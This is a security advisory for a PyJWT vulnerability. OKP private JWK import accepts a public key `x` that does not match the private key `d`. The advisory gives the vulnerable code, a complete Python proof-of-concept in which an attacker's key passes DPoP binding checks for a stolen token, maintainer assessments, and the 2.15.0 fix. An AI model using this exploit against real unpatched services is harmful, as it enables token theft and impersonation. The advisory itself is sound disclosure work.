CVE-2026-102275

### Summary PyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`. When `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key. In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key. ### Details The vulnerable logic is in `jwt/algorithms.py`: ```python if "x" not in obj: raise InvalidKeyError('OKP should have "x" parameter') x = base64url_decode(obj.get("x")) if "d" not in obj: if curve == "Ed25519": return Ed25519PublicKey.from_public_bytes(x) return Ed448PublicKey.from_public_bytes(x) d = base64url_decode(obj.get("d")) if curve == "Ed25519": return Ed25519PrivateKey.from_private_bytes(d) return Ed448PrivateKey.from_private_bytes(d) ``` When `d` is present, `x` is parsed but never compared with the public key derived from `d`. For example, PyJWT accepts: ```json { "kty": "OKP", "crv": "Ed25519", "x": "<legitimate-user-public-key>", "d": "<attacker-private-key>" } ``` even though `x` and `d` belong to different key pairs. The behavior has existed since OKP private-JWK import was introduced: * Ed25519: PyJWT 2.1.0+ * Ed448: PyJWT 2.2.0+ * Confirmed through PyJWT 2.14.0 and current master A correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`. ### PoC The reproducer creates two Ed25519 keypairs: * a legitimate holder keypair * an attacker keypair It then: 1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key. 2. Creates a DPoP proof JWK containing the legitimate user's `x` together with the attacker's `d`. 3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding. 4. Passes the complete JWK to `PyJWK.from_dict()`. 5. PyJWT imports the private key from the attacker-controlled `d`. 6. A DPoP proof signed with the attacker's private key verifies successfully. Observed result: ```text thumbprint_matches: true actual_key_is_attacker_key: true actual_key_matches_declared_x: false stolen_sender_constrained_token_accepted: true attacker_has_legitimate_private_key: false ``` Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master. The complete reproducer is: ```python #!/usr/bin/env python3 from __future__ import annotations import base64 import hashlib import json import os import platform import time from importlib.metadata import version from typing import Any import jwt from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey from cryptography.hazmat.primitives.serialization import ( Encoding, NoEncryption, PrivateFormat, PublicFormat, ) ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b" HTTP_METHOD = "GET" HTTP_URI = "https://resource.example/protected" def b64url(raw: bytes) -> str: return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii") def public_x(private_key: Ed25519PrivateKey) -> str: return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)) def private_d(private_key: Ed25519PrivateKey) -> str: return b64url( private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption()) ) def jwk_thumbprint(jwk: dict[str, Any]) -> str: canonical = json.dumps( {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]}, separators=(",", ":"), sort_keys=True, ).encode("ascii") return b64url(hashlib.sha256(canonical).digest()) def access_token_hash(access_token: str) -> str: return b64url(hashlib.sha256(access_token.encode("ascii")).digest()) def verify_resource_request( access_token: str, proof: str, *, reject_private_header_jwk: bool = False, ) -> dict[str, Any]: """Model the security-relevant stages of an RFC 9449 resource server.""" access_claims = jwt.decode( access_token, ACCESS_TOKEN_SECRET, algorithms=["HS256"], issuer="https://authorization.example", audience="resource-api", options={"require": ["exp", "iss", "aud", "sub", "cnf"]}, ) header = jwt.get_unverified_header(proof) if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA": raise ValueError("invalid DPoP header policy") jwk = header.get("jwk") if not isinstance(jwk, dict): raise ValueError("missing DPoP JWK") if reject_private_header_jwk and any( member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k") ): raise ValueError("DPoP header JWK contains private material") if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]: raise ValueError("DPoP key does not match cnf.jkt") key = jwt.PyJWK.from_dict(jwk) proof_claims = jwt.decode( proof, key, algorithms=["EdDSA"], options={"require": ["htm", "htu", "iat", "jti", "ath"]}, ) if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI: raise ValueError("DPoP request binding mismatch") if proof_claims["ath"] != access_token_hash(access_token): raise ValueError("DPoP access-token hash mismatch") return access_claims def main() -> None: legitimate_holder = Ed25519PrivateKey.generate() attacker = Ed25519PrivateKey.generate() legitimate_x = public_x(legitimate_holder) attacker_x = public_x(attacker) legitimate_public_jwk = { "alg": "EdDSA", "crv": "Ed25519", "kty": "OKP", "x": legitimate_x, } mismatched_proof_jwk = { **legitimate_public_jwk, "d": private_d(attacker), } pinned_jkt = jwk_thumbprint(legitimate_public_jwk) now = int(time.time()) access_token = jwt.encode( { "aud": "resource-api", "cnf": {"jkt": pinned_jkt}, "exp": now + 300, "iat": now, "iss": "https://authorization.example", "scope": "admin:read", "sub": "legitimate-holder", }, ACCESS_TOKEN_SECRET, algorithm="HS256", ) proof_claims = { "ath": access_token_hash(access_token), "htm": HTTP_METHOD, "htu": HTTP_URI, "iat": now, "jti": "synthetic-attacker-proof", } attacker_proof = jwt.encode( proof_claims, attacker, algorithm="EdDSA", headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"}, ) imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key imported_x = b64url( imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw) ) accepted_claims = verify_resource_request(access_token, attacker_proof) public_only_rejected = False public_only_error = None public_only_proof = jwt.encode( proof_claims, attacker, algorithm="EdDSA", headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"}, ) try: verify_resource_request(access_token, public_only_proof) except Exception as error: public_only_rejected = True public_only_error = type(error).__name__ private_member_control_rejected = False private_member_control_error = None try: verify_resource_request( access_token, attacker_proof, reject_private_header_jwk=True, ) except Exception as error: private_member_control_rejected = True private_member_control_error = type(error).__name__ result = { "environment": { "PyJWT": jwt.__version__, "PyJWT_source": str(jwt.__file__), "Python": platform.python_version(), "cryptography": version("cryptography"), "source_ref": os.environ.get("PYJWT_SOURCE_REF", "installed-release"), }, "dpop_binding": { "access_token_subject": accepted_claims["sub"], "access_token_scope": accepted_claims["scope"], "pinned_jkt": pinned_jkt, "proof_jkt": jwk_thumbprint(mismatched_proof_jwk), "thumbprint_matches": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt, }, "imported_key": { "declared_x": legitimate_x, "attacker_x": attacker_x, "actual_imported_x": imported_x, "actual_key_is_attacker_key": imported_x == attacker_x, "actual_key_matches_declared_x": imported_x == legitimate_x, }, "vulnerable_composition": { "stolen_sender_constrained_token_accepted": accepted_claims["sub"] == "legitimate-holder", "attacker_has_legitimate_private_key": False, }, "controls": { "public_only_jwk_rejected": public_only_rejected, "public_only_error": public_only_error, "reject_private_header_jwk_blocks_attack": private_member_control_rejected, "private_member_control_error": private_member_control_error, }, } assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt assert imported_x == attacker_x assert imported_x != legitimate_x assert accepted_claims["sub"] == "legitimate-holder" assert public_only_rejected and public_only_error == "InvalidSignatureError" assert private_member_control_rejected and private_member_control_error == "ValueError" print(json.dumps(result, indent=2, sort_keys=True)) if __name__ == "__main__": main() ``` ```text 06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py ``` A public example of the affected composition exists in StrongDM's `agentic-auth` Flask middleware: it computes an OKP thumbprint from `x` and subsequently passes the entire JWK to `PyJWK.from_dict()` for EdDSA DPoP verification without rejecting `d`. ### Impact The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another. In a DPoP verifier that: * calculates `cnf.jkt` / JWK thumbprints from the declared `x`, * passes the same JWK to PyJWT for signature verification, and * does not reject private JWK parameters, an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key. RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject `d` are not vulnerable to the demonstrated attack. ### Maintainer assessment (2026-09-12) We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding `x` and `d` components returned the private key derived from `d` while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses `x` as the JWK identity and the returned key for cryptographic operations can act on two different key identities. Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (`>= 2.1.0, <= 2.14.0`) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release. The fix is on `master` in commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. It derives the public bytes from `d`, compares them with `x`, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree `9f219601e39026c7094d48f3fbb6678951878aa8` with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command `python -m tox` passed all 35 required environments both before and after the commit. The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact. The fix is not yet contained in a released PyJWT 2.x version, so `patched_versions` remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on `master`; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary. --- ### Maintainer release update (2026-09-23) PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963. The published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: matching Ed25519 and Ed448 `x`/`d` private JWK components import successfully, while mismatched components raise `InvalidKeyError`. The supported affected range remains `>= 2.1.0, <= 2.14.0`; the patched version is `2.15.0`. The earlier statement that no released patched version exists is superseded by this update. The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.

PyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.